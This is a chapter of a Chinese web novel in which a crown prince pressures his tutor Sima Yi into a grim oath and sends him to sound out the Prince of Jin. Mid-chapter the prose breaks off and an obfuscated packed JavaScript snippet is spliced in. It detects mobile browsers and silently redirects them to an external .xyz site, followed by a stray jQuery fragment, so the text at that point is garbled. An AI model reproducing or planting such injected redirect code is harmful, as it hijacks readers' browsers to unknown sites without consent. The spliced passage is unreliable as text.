“若有违誓,我就当不成这个太子!”
这是什么伤敌八百,自损三千的誓言?
司马仪:……小祖宗,您是不是把这个誓言说反了?
李开说:“反正你照着这么说就行了,而且一定要对着洛水,若是做不到,不仅我全家死光光,你也全家死光光。”
司马仪:怎么又加了两条?刚才你可不是这么说的。
要说司马仲达也真的不是天生的阴险狡诈之人。
对曹魏,他也是立过功的,从前对曹丕也是有真心的。
谁让你曹家的皇帝一个比一个小,他的年纪一天比一天大、儿子又一天比一天出色。
不说曹丕了,就算曹叡当时还在,给他司马懿一百个胆子,他也不敢反,不敢搞出什么高平陵之变来了。
他想:“只是天时地利人和,把我推到了这个位置罢了。”
时也命也,不过如此。
李开心中冷笑,要说在这儿,司马老贼绝没有这么好的运气了,因为上头这两位一个比一个能活。
放眼上下五千年,比他们能活的都屈指可数了。
司马懿在他们面前,那完全不叫个事儿。
而且在这里,也完全轮不到司马懿带兵,跟兵有关的所有事,咱们秦王都能全部包揽了,一点沙子都漏不下来。
所以,就算他真的野心勃勃,此时此刻也只能夹着尾巴做人。
“这个全家……光……”
若说前头那个也就算了,这个全家死光光,司马仪是真的不敢发这个誓。
还是对着洛水?
发誓,原本是一件比较神圣的行为。
所谓因果报应,一旦指天为誓,面对神灵许下诺言,就必须信守承诺,否则就会受到最严酷的惩罚。
对普通人而言这其实根本无所谓,他们平白无故、莫名其妙受到惩罚还少么?
可在官言官,发誓那是一种政治行为。
特别是日后你若是真的能在逐鹿天下中问鼎中原,那你的誓言将被套上一层神圣的光辉、被赋予不同的意义。
而且,洛水的这个洛神还是比较神的。
他忍不住说:“太子殿下,你让老臣这个全家……唉、全家光光也就算了,你让你全家……”
唉,你这说话之前能不能动动脑子啊?
回头让陛下和皇后知道,你这个太子还干不干了?
别说储君干不了了,东宫上上下下、里里外外,连一只猫都给一刀两断了。
到时候,我司马家全家还真是要一同归黄泉了。
“您这到底是怎么了?”
其实,什么和晋王联手不联手的问题,都暂且放在后头。现在最要紧的是让太子正常一点,停止这无休止的发癫。
之前说太子被魇镇了,他还不信,如今见到了真人,他也是真的信了,除了魇镇、人还能疯成这样?
估计皇帝皇后也是信了,不然就以太子这德性,早给勒死算了。
他左思右想,自觉找出了其中的关键。
“是不是因为秦王妃生下皇孙?您和太子妃还年轻,这孩子何愁不来。”
自然,他也知道,这夫妻俩矛盾重重。
看这几个王爷,人家都是琴瑟和鸣,偏偏东宫鸡飞狗跳,里外不是人,难怪太子压力大。
李开摆摆手:“不是这事,既然先生也同意我和三弟联合,总要有人从中牵线,这个人非先生莫属了。”
司马仪说:“我?这会不会不太合适?”
他是太子的老师,由他出面、太过于显眼了。
“不然呢?”
司马仪想想也是,李纲那是不可能的。齐之泰黄澄子……不是他说、这也是俩废物。
放眼整个东宫,竟然无人可用。
其实太子妃的娘家倒是可以,太子妃也可以去和晋王妃说些妇人的私房话,可就这夫妻俩的感情、那也不用说。
“好吧。”司马仪叹了口气,“我去。”
偌大一个东宫,就他一个能干事的。
要不是陛下非要把他绑上东宫这条破船,他说什么也溜了。
士为知己者死,哼、就太子这德性,也不是知己。
“好。”李开当即拍板,“现在就去,我已经安排好了。”
司马仪:……
安排好了?他怎么觉得有些不对劲……脖子有点儿凉凉的……
“是、殿下您亲自安排的?”
没有看不起太子的意思,但咱们殿下亲手准备的事、八成有些不靠谱。
“哎呀,先生您就去吧,这次也不必就直接说联合,探探老三的口风。”
司马仪想想也是,虽然他是太子的老师,但晋王一贯礼贤下士,在朝野名声不错,早年他也指导过晋王的功课,勉勉强强算他半个先生。
想到这儿,他忍不住长叹一声,想当年晋王那聪明机灵的劲儿,再比较太子这傻不拉几的,真是人比人、气死人。
他是真的想辅佐晋王啊。
虽然他也看出晋王不是个省油的灯,不过有秦王在前,他也很难有所作为。
罢了,就如太子说的那样,先去找三殿下叙叙旧。
东宫那自然在皇宫旁,都有小门相通。
作为陛下皇后的爱子,晋王府也占据了洛阳城内的豪华位置,和秦王府一边儿一个,好像是洛阳的两座门神,谁都得罪不起。
按说储君已经定了,东宫已经开张多年,别的皇子都是要分封到地方的。
自家人吃饭的时候,皇帝曾经很开心……至少是表面上很开心地表示——秦王开疆扩土、劳苦功高,有功要赏,不能寒了将士的心,就算这个将士是自家的儿子也不行。
“二凤,日后父皇会给一块大大的封地,最是富饶。”
二凤:……
秦王能说啥呢,也就只敢说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488862|185762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说两句场面话,表示自己不要不要、真的不要、绝对不要、铁了心不要。
如此父慈子孝、兄友弟恭,但波涛汹涌之下,大家心里都有数。
皇帝肯定不可能把秦王打下的土地都分给他,而秦王看上的也绝对不止这些。
小六还小就算了,可别的皇子都已经成年了,用不着喝奶了,这也不去封地、一天天的在京城晃来晃去,这不是打太子的脸么。
李开;……我哪还有脸啊……
此番司马仪如果大喇喇从正门去见晋王,这就有些……反正是不好。
左右此事也不必今日就办成,他回府招来心腹,先去打听了晋王左右的想法。
作为李开的老师,他本来就需要时时刻刻关注太子的这几位重要对手。
秦王固然是老虎和雄鹰,晋王也绝对不是一只猫。
皇帝皇后那边,骂了司马仪这个太子的老师一顿之后,也算多多少少消了一些气。
又听说太子起码消停了一天没有要死要活瞎闹腾,反而还去跟陈王促膝长谈了一番。
“谈的什么?”
虽然当事人没说,他们也心里有数。
反正不管怎么说,太子总算是当不好储君,至少这个大哥长兄的职能还在,也不完全是个废物。
皇帝说:“今日先不骂太子了,明日再骂。”
反正心情不好,就骂两顿太子嘛。
要说这一路奔波,今日又是挨了宫里的骂,又是跟太子……他也不是少年了,回去正该倒头就睡。
偏偏梦里,太子一脸狰狞地看着他。
“先生……太傅……老师……”
司马仪哆哆嗦嗦:“殿下,您别这么喊我,我怕……”
知道陛下不是个好伺候的主,谁能想到太子竟然也是呢。
梦里的李开笑容诡异而狰狞,身后突然飘过来一辆马车,他笑容满面说:“先生,上车吧。”
“上车?做什么?去哪儿?”
李开阴恻恻地说:“当然是去洛水。”
“去洛水做什么?”
“发誓啊。”李开扯着前头的马尾巴毛,“本殿下思来想去,那个你我两家死光光的誓言还是得发、一定得发,不然我信不过你。”
说着,一把拉着他的手:“走,上车。”
他是拼命挣扎,李开是死活要拉。
这年头讲究出将入相、文武不分家,不然如何横槊赋诗。
他司马仪也是文能提笔安天下、武能上马立乾坤的人物,不是太子那种文不成武不就、手无缚鸡之力的废物,
偏偏梦中的这个李开,力大无比、硬是给他拉上了马车,太子狠狠抽了一下马屁股,马顿时发疯一般冲向城外。
张春华抱着被子,皱眉看着司马仪闭着眼睛、两手乱抓不知道叫唤啥。
“老物可憎。”她翻了个白眼,“要不是为了我的儿子,才懒得搭理你。”